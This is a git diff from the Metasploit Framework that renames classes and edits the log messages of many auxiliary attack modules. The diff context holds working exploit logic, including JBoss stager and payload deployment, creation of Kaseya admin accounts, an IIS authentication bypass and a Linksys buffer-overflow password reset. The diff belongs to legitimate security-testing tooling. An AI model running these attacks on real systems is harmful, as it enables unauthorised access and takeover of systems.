b/modules/auxiliary/admin/backupexec/dump.rb index 7f76f33d07..2348397fe4 100644 --- a/modules/auxiliary/admin/backupexec/dump.rb +++ b/modules/auxiliary/admin/backupexec/dump.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::NDMP diff --git a/modules/auxiliary/admin/backupexec/registry.rb b/modules/auxiliary/admin/backupexec/registry.rb index 171d2d7a04..6cef2bf11d 100644 --- a/modules/auxiliary/admin/backupexec/registry.rb +++ b/modules/auxiliary/admin/backupexec/registry.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC include ::Rex::Platforms::Windows diff --git a/modules/auxiliary/admin/chromecast/chromecast_reset.rb b/modules/auxiliary/admin/chromecast/chromecast_reset.rb index cd245599e9..123faba0f9 100644 --- a/modules/auxiliary/admin/chromecast/chromecast_reset.rb +++ b/modules/auxiliary/admin/chromecast/chromecast_reset.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/chromecast/chromecast_youtube.rb b/modules/auxiliary/admin/chromecast/chromecast_youtube.rb index 5263d13b1f..e11ac04cc8 100644 --- a/modules/auxiliary/admin/chromecast/chromecast_youtube.rb +++ b/modules/auxiliary/admin/chromecast/chromecast_youtube.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb b/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb index 6d93c9e626..2f574d8494 100644 --- a/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb +++ b/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb b/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb index c706eea4f0..43b4479c0b 100644 --- a/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb +++ b/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp diff --git a/modules/auxiliary/admin/db2/db2rcmd.rb b/modules/auxiliary/admin/db2/db2rcmd.rb index 6f8d5738fb..c712a12ebf 100644 --- a/modules/auxiliary/admin/db2/db2rcmd.rb +++ b/modules/auxiliary/admin/db2/db2rcmd.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SMB::Client diff --git a/modules/auxiliary/admin/edirectory/edirectory_dhost_cookie.rb b/modules/auxiliary/admin/edirectory/edirectory_dhost_cookie.rb index ce62291515..f6dc37ff67 100644 --- a/modules/auxiliary/admin/edirectory/edirectory_dhost_cookie.rb +++ b/modules/auxiliary/admin/edirectory/edirectory_dhost_cookie.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp diff --git a/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb b/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb index 9fbc5aff7d..462536d3ff 100644 --- a/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb +++ b/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb b/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb index e2970315f0..df41d4d671 100644 --- a/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb +++ b/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp diff --git a/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb b/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb index 1c54a65368..881f0d5e75 100644 --- a/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb +++ b/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp diff --git a/modules/auxiliary/admin/firetv/firetv_youtube.rb b/modules/auxiliary/admin/firetv/firetv_youtube.rb index ffeedd5885..8fec58c5e0 100644 --- a/modules/auxiliary/admin/firetv/firetv_youtube.rb +++ b/modules/auxiliary/admin/firetv/firetv_youtube.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb b/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb index 1c99844b0f..0b1ef1ba24 100644 --- a/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb +++ b/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp diff --git a/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb b/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb index 1941291594..272e9f4d82 100644 --- a/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb +++ b/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient @@ -99,21 +99,21 @@ class Metasploit3 < Msf::Auxiliary def run - print_status("#{peer} - Trying to find the service desk service strong name...") + print_status("Trying to find the service desk service strong name...") service_desk = get_service_desk_strong_name if service_desk.nil? - print_error("#{peer} - service desk service not found.") + print_error("service desk service not found.") return end - print_good("#{peer} - service desk strong number found: #{service_desk}") + print_good("service desk strong number found: #{service_desk}") - print_status("#{peer} - Trying to find the AccountService strong name...") + print_status("Trying to find the AccountService strong name...") account_service = get_account_service_strong_name(service_desk) if account_service.nil? - print_error("#{peer} - AccountService service not found.") + print_error("AccountService service not found.") return end - print_good("#{peer} - AccountService strong number found: #{account_service}") + print_good("AccountService strong number found: #{account_service}") header= "6|0|39" # version | unknown | string_table size @@ -234,7 +234,7 @@ class Metasploit3 < Msf::Auxiliary service_url = ssl ? "https://" : "http://" service_url << "#{rhost}:#{rport}/servicedesk/servicedesk/" - print_status("#{peer} - Trying to create account #{datastore["USERNAME"]}...") + print_status("Trying to create account #{datastore["USERNAME"]}...") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri("servicedesk", "servicedesk", "accountSerivce.gwtsvc"), @@ -247,12 +247,12 @@ class Metasploit3 < Msf::Auxiliary }) unless res and res.code == 200 - print_error("#{peer} - Unknown error while creating the user.") + print_error("Unknown error while creating the user.") return end if res.body =~ /Username.*already exists/ - print_error("#{peer} - The user #{datastore["USERNAME"]} already exists.") + print_error("The user #{datastore["USERNAME"]} already exists.") return elsif res.body =~ /Account.*added successfully/ login_url = ssl ? "https://" : "http://" @@ -267,8 +267,8 @@ class Metasploit3 < Msf::Auxiliary proof: "#{login_url}\n#{res.body}" ) - print_good("#{peer} - Account #{datastore["USERNAME"]}/#{datastore["PASSWORD"]} created successfully.") - print_status("#{peer} - Use it to log into #{login_url}") + print_good("Account #{datastore["USERNAME"]}/#{datastore["PASSWORD"]} created successfully.") + print_status("Use it to log into #{login_url}") end end diff --git a/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb b/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb index 55f85637ae..035c3ae179 100644 --- a/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb +++ b/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/http/axigen_file_access.rb b/modules/auxiliary/admin/http/axigen_file_access.rb index 7b4925a4ca..7a08a1366d 100644 --- a/modules/auxiliary/admin/http/axigen_file_access.rb +++ b/modules/auxiliary/admin/http/axigen_file_access.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -51,11 +51,11 @@ class Metasploit3 < Msf::Auxiliary end def run - print_status("#{peer} - Trying to login") + print_status("Trying to login") if login - print_good("#{peer} - Login successful") + print_good("Login successful") else - print_error("#{peer} - Login failed, review USERNAME and PASSWORD options") + print_error("Login failed, review USERNAME and PASSWORD options") return end @@ -67,7 +67,7 @@ class Metasploit3 < Msf::Auxiliary @traversal.gsub!(/\//, "\\") file.gsub!(/\//, "\\") else # unix - print_error("#{peer} - *nix platform detected, vulnerability is only known to work on Windows") + print_error("*nix platform detected, vulnerability is only known to work on Windows") return end @@ -81,7 +81,7 @@ class Metasploit3 < Msf::Auxiliary def read_file(file) - print_status("#{peer} - Retrieving file contents...") + print_status("Retrieving file contents...") res = send_request_cgi( { @@ -96,14 +96,14 @@ class Metasploit3 < Msf::Auxiliary if res and res.code == 200 and res.headers['Content-Type'] and res.body.length > 0 store_path = store_loot("axigen.webadmin.data", "application/octet-stream", rhost, res.body, file) - print_good("#{peer} - File successfully retrieved and saved on #{store_path}") + print_good("File successfully retrieved and saved on #{store_path}") else - print_error("#{peer} - Failed to retrieve file") + print_error("Failed to retrieve file") end end def delete_file(file) - print_status("#{peer} - Deleting file #{file}") + print_status("Deleting file #{file}") res = send_request_cgi( { @@ -119,14 +119,14 @@ class Metasploit3 < Msf::Auxiliary }) if res and res.code == 200 and res.body =~ /View Log Files/ - print_good("#{peer} - File #{file} deleted") + print_good("File #{file} deleted") else - print_error("#{peer} - Error deleting file #{file}") + print_error("Error deleting file #{file}") end end def get_platform - print_status("#{peer} - Retrieving platform") + print_status("Retrieving platform") res = send_request_cgi( { @@ -140,15 +140,15 @@ class Metasploit3 < Msf::Auxiliary if res and res.code == 200 if res.body =~ /Windows/ - print_good("#{peer} - Windows platform found") + print_good("Windows platform found") return 'windows' elsif res.body =~ /Linux/ - print_good("#{peer} - Linux platform found") + print_good("Linux platform found") return 'unix' end end - print_warning("#{peer} - Platform not found, assuming UNIX flavor") + print_warning("Platform not found, assuming UNIX flavor") return 'unix' end diff --git a/modules/auxiliary/admin/http/cfme_manageiq_evm_pass_reset.rb b/modules/auxiliary/admin/http/cfme_manageiq_evm_pass_reset.rb index 9d89a5b782..29706ecd39 100644 --- a/modules/auxiliary/admin/http/cfme_manageiq_evm_pass_reset.rb +++ b/modules/auxiliary/admin/http/cfme_manageiq_evm_pass_reset.rb @@ -8,7 +8,7 @@ require 'bcrypt' require 'digest' require 'openssl' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb b/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb index 725f125d26..a61bc6e376 100644 --- a/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb +++ b/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb index cc807330d1..c69c44eb88 100644 --- a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb +++ b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb index e7e9f7de48..d47959957a 100644 --- a/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb +++ b/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb index cb17b5cc91..b1870cd699 100644 --- a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb +++ b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb b/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb index 0fb48eb584..b4f8b16898 100644 --- a/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb +++ b/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb b/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb index 5a1fcb3cd2..0889e7a690 100644 --- a/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb +++ b/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/http/iis_auth_bypass.rb b/modules/auxiliary/admin/http/iis_auth_bypass.rb index 4601c36955..2cf37c785d 100644 --- a/modules/auxiliary/admin/http/iis_auth_bypass.rb +++ b/modules/auxiliary/admin/http/iis_auth_bypass.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -77,16 +77,16 @@ class Metasploit3 < Msf::Auxiliary def run if not has_auth - print_error("#{peer} - No basic authentication enabled") + print_error("No basic authentication enabled") return end bypass_string = try_auth if bypass_string.empty? - print_error("#{peer} - The bypass attempt did not work") + print_error("The bypass attempt did not work") else - print_good("#{peer} - You can bypass auth by doing: #{bypass_string}") + print_good("You can bypass auth by doing: #{bypass_string}") end end diff --git a/modules/auxiliary/admin/http/intersil_pass_reset.rb b/modules/auxiliary/admin/http/intersil_pass_reset.rb index 335c0e050d..18de11b8c8 100644 --- a/modules/auxiliary/admin/http/intersil_pass_reset.rb +++ b/modules/auxiliary/admin/http/intersil_pass_reset.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -52,17 +52,17 @@ class Metasploit3 < Msf::Auxiliary }) if (res and (m = res.headers['Server'].match(/Boa\/(.*)/))) - vprint_status("#{peer} - Boa Version Detected: #{m[1]}") + vprint_status("Boa Version Detected: #{m[1]}") return Exploit::CheckCode::Safe if (m[1][0].ord-48>0) # boa server wrong version return Exploit::CheckCode::Safe if (m[1][3].ord-48>4) return Exploit::CheckCode::Vulnerable else - vprint_status("#{peer} - Not a Boa Server!") + vprint_status("Not a Boa Server!") return Exploit::CheckCode::Safe # not a boa server end rescue Rex::ConnectionRefused - print_error("#{peer} - Connection refused by server.") + print_error("Connection refused by server.") return Exploit::CheckCode::Safe end end @@ -80,14 +80,14 @@ class Metasploit3 < Msf::Auxiliary }) if res.nil? - print_error("#{peer} - The server may be down") + print_error("The server may be down") return elsif res and res.code != 401 - print_status("#{peer} - #{uri} does not have basic authentication enabled") + print_status("#{uri} does not have basic authentication enabled") return end - print_status("#{peer} - Server still operational. Checking to see if password has been overwritten") + print_status("Server still operational. Checking to see if password has been overwritten") res = send_request_cgi({ 'uri' => uri, 'method'=> 'GET', @@ -95,17 +95,17 @@ class Metasploit3 < Msf::Auxiliary }) if not res - print_error("#{peer} - Server timedout, will not continue") + print_error("Server timedout, will not continue") return end case res.code when 200 - print_good("#{peer} - Password reset successful with admin:#{datastore['PASSWORD']}") + print_good("Password reset successful with admin:#{datastore['PASSWORD']}") when 401 - print_error("#{peer} - Access forbidden. The password reset attempt did not work") + print_error("Access forbidden. The password reset attempt did not work") else - print_status("#{peer} - Unexpected response: Code #{res.code} encountered") + print_status("Unexpected response: Code #{res.code} encountered") end end diff --git a/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb b/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb index e3b3932032..1553569111 100644 --- a/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb +++ b/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/http/jboss_bshdeployer.rb b/modules/auxiliary/admin/http/jboss_bshdeployer.rb index 63883fbf56..0dfad0849f 100644 --- a/modules/auxiliary/admin/http/jboss_bshdeployer.rb +++ b/modules/auxiliary/admin/http/jboss_bshdeployer.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::JBoss @@ -49,13 +49,13 @@ class Metasploit3 < Msf::Auxiliary encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '') if http_verb == 'POST' - print_status("#{peer} - Deploying payload...") + print_status("Deploying payload...") opts = { :file => "#{app_base}.war", :contents => encoded_payload } else - print_status("#{peer} - Deploying stager...") + print_status("Deploying stager...") stager_name = Rex::Text.rand_text_alpha(8 + rand(8)) stager_contents = stager_jsp(app_base) opts = { @@ -69,37 +69,37 @@ class Metasploit3 < Msf::Auxiliary package = deploy_bsh(bsh_payload) if package.nil? - print_error("#{peer} - Deployment failed") + print_error("Deployment failed") return else - print_good("#{peer} - Deployment successful") + print_good("Deployment successful") end unless http_verb == 'POST' # call the stager to deploy our real payload war stager_uri = '/' + stager_name + '/' + stager_name + '.jsp' payload_data = "#{Rex::Text.rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}" - print_status("#{peer} - Calling stager #{stager_uri} to deploy final payload...") + print_status("Calling stager #{stager_uri} to deploy final payload...") res = deploy('method' => 'POST', 'data' => payload_data, 'uri' => stager_uri) if res && res.code == 200 - print_good("#{peer} - Payload deployed") + print_good("Payload deployed") else - print_error("#{peer} - Failed to deploy final payload") + print_error("Failed to deploy final payload") end # Remove the stager - print_status("#{peer} - Removing stager...") + print_status("Removing stager...") files = {} files[:stager_jsp_name] = "#{stager_name}.war/#{stager_name}.jsp" files[:stager_base] = "#{stager_name}.war" delete_script = generate_bsh(:delete, files) res = deploy_package(delete_script, package) if res.nil? - print_error("#{peer} - Unable to remove Stager") + print_error("Unable to remove Stager") else - print_good("#{peer} - Stager successfully removed") + print_good("Stager successfully removed") end end @@ -107,7 +107,7 @@ class Metasploit3 < Msf::Auxiliary def undeploy_action(app_base) # Undeploy the WAR and the stager if needed - print_status("#{peer} - Undeploying #{app_base} by deleting the WAR file via BSHDeployer...") + print_status("Undeploying #{app_base} by deleting the WAR file via BSHDeployer...") files = {} files[:app_base] = "#{app_base}.war" @@ -115,9 +115,9 @@ class Metasploit3 < Msf::Auxiliary package = deploy_bsh(delete_script) if package.nil? - print_error("#{peer} - Unable to remove WAR") + print_error("Unable to remove WAR") else - print_good("#{peer} - Successfully removed") + print_good("Successfully removed") end end diff --git a/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb b/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb index 64cbb4fa8b..03f6ee6c75 100644 --- a/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb +++ b/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::JBoss @@ -51,10 +51,10 @@ class Metasploit3 < Msf::Auxiliary stager_contents = stager_jsp_with_payload(app_base, encoded_payload) if http_verb == 'POST' - print_status("#{peer} - Deploying stager for the WAR file...") + print_status("Deploying stager for the WAR file...") res = upload_file(stager_base, stager_jsp_name, stager_contents) else - print_status("#{peer} - Deploying minimal stager to upload the payload...") + print_status("Deploying minimal stager to upload the payload...") head_stager_jsp_name = Rex::Text.rand_text_alpha(8+rand(8)) head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name) head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp" @@ -79,20 +79,20 @@ class Metasploit3 < Msf::Auxiliary fail_with(Failure::Unknown, "Failed to deploy") end - print_status("#{peer} - Calling stager to deploy the payload warfile (might take some time)") + print_status("Calling stager to deploy the payload warfile (might take some time)") stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp' stager_res = deploy('uri' => stager_uri, 'method' => 'GET') if res && res.code == 200 - print_good("#{peer} - Payload deployed") + print_good("Payload deployed") else - print_error("#{peer} - Failed to deploy final payload") + print_error("Failed to deploy final payload") end # Cleaning stagers - print_status("#{peer} - Undeploying stagers via DeploymentFileRepository.remove()...") - print_status("#{peer} - This might take some time, be patient...") if http_verb == "HEAD" + print_status("Undeploying stagers via DeploymentFileRepository.remove()...") + print_status("This might take some time, be patient...") if http_verb == "HEAD" delete_res = [] if head_stager_jsp_name delete_res << delete_file(stager_base + '.war', head_stager_jsp_name, '.jsp') @@ -101,28 +101,28 @@ class Metasploit3 < Msf::Auxiliary delete_res << delete_file('./', stager_base + '.war', '') delete_res.each do |res| if !res - print_warning("#{peer} - Unable to remove WAR [No Response]") + print_warning("Unable to remove WAR [No Response]") elsif (res.code < 200 || res.code >= 300) - print_warning("#{peer} - WARNING: Unable to remove WAR [#{res.code} #{res.message}]") + print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]") end end end # Undeploy the WAR and the stager if needed def undeploy_action(app_base) - print_status("#{peer} - Undeploying #{app_base} via DeploymentFileRepository.remove()...") + print_status("Undeploying #{app_base} via DeploymentFileRepository.remove()...") print_status("This might take some time, be patient...") if http_verb == "HEAD" res = delete_file('./', app_base + '.war', '') unless res - print_error("#{peer} - Unable to remove WAR (no response)") + print_error("Unable to remove WAR (no response)") return end if res.code < 200 || res.code >= 300 - print_error("#{peer} - Unable to remove WAR [#{res.code} #{res.message}]") + print_error("Unable to remove WAR [#{res.code} #{res.message}]") else - print_good("#{peer} - Successfully removed") + print_good("Successfully removed") end end diff --git a/modules/auxiliary/admin/http/jboss_seam_exec.rb b/modules/auxiliary/admin/http/jboss_seam_exec.rb index e6b097d165..dc8ab507f2 100644 --- a/modules/auxiliary/admin/http/jboss_seam_exec.rb +++ b/modules/auxiliary/admin/http/jboss_seam_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/http/kaseya_master_admin.rb b/modules/auxiliary/admin/http/kaseya_master_admin.rb index 5703684ca9..27758ccaf5 100644 --- a/modules/auxiliary/admin/http/kaseya_master_admin.rb +++ b/modules/auxiliary/admin/http/kaseya_master_admin.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -53,11 +53,11 @@ class Metasploit3 < Msf::Auxiliary if res && res.body && res.body.to_s =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/ session_val = $1 else - print_error("#{peer} - Failed to get sessionVal") + print_error("Failed to get sessionVal") return end - print_status("#{peer} - Got sessionVal #{session_val}, creating Master Administrator account") + print_status("Got sessionVal #{session_val}, creating Master Administrator account") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'), @@ -73,11 +73,11 @@ class Metasploit3 < Msf::Auxiliary }) unless res && res.code == 302 && res.body && res.body.to_s.include?('/vsapres/web20/core/login.asp') - print_error("#{peer} - Master Administrator account creation failed") + print_error("Master Administrator account creation failed") return end - print_good("#{peer} - Master Administrator account with credentials #{datastore['KASEYA_USER']}:#{datastore['KASEYA_PASS']} created") + print_good("Master Administrator account with credentials #{datastore['KASEYA_USER']}:#{datastore['KASEYA_PASS']} created") service_data = { address: rhost, port: rport, diff --git a/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb b/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb index e442620315..77d4c9095a 100644 --- a/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb +++ b/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/http/limesurvey_file_download.rb b/modules/auxiliary/admin/http/limesurvey_file_download.rb index a1c019c933..2dc0009268 100644 --- a/modules/auxiliary/admin/http/limesurvey_file_download.rb +++ b/modules/auxiliary/admin/http/limesurvey_file_download.rb @@ -8,7 +8,7 @@ require 'msf/core' # for extracting files require 'zip' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb b/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb index 0bae51aafa..e462ad3985 100644 --- a/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb +++ b/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb b/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb index e3acc7bf4b..9aaf2112f8 100644 --- a/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb +++ b/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -34,20 +34,20 @@ class Metasploit3 < Msf::Auxiliary end def check_login(user) - print_status("#{peer} - Trying to login with #{user} and empty password") + print_status("Trying to login with #{user} and empty password") res = send_request_cgi({ 'uri' => '/', 'method' => 'GET', 'authorization' => basic_auth(user,"") }) if res.nil? || res.code == 404 - print_status("#{peer} - No login possible with #{user} and empty password") + print_status("No login possible with #{user} and empty password") return false elsif [200, 301, 302].include?(res.code) - print_good("#{peer} - Successful login #{user} and empty password") + print_good("Successful login #{user} and empty password") return true else - print_status("#{peer} - No login possible with #{user} and empty password") + print_status("No login possible with #{user} and empty password") return false end end @@ -56,15 +56,15 @@ class Metasploit3 < Msf::Auxiliary begin if check_login("admin") - print_good("#{peer} - login with user admin and no password possible. There is no need to use this module.") + print_good("login with user admin and no password possible. There is no need to use this module.") return end rescue ::Rex::ConnectionError - print_error("#{peer} - Failed to connect to the web server") + print_error("Failed to connect to the web server") return end - print_status("#{peer} - Resetting password for the admin user ...") + print_status("Resetting password for the admin user ...") postdata = Rex::Text.rand_text_alpha(246) # Filler postdata << [0x81544AF0].pack("N") # $s0, address of admin password in memory @@ -94,15 +94,15 @@ class Metasploit3 < Msf::Auxiliary }) if res and res.code == 500 if check_login("admin") - print_good("#{peer} - Expected answer and the login was successful. Try to login with the user admin and a blank password") + print_good("Expected answer and the login was successful. Try to login with the user admin and a blank password") else - print_status("#{peer} - Expected answer, but unknown exploit status. Try to login with the user admin and a blank password") + print_status("Expected answer, but unknown exploit status. Try to login with the user admin and a blank password") end else - print_error("#{peer} - Unexpected answer. Exploit attempt has failed") + print_error("Unexpected answer. Exploit attempt has failed") end rescue ::Rex::ConnectionError - print_error("#{peer} - Failed to connect to the web 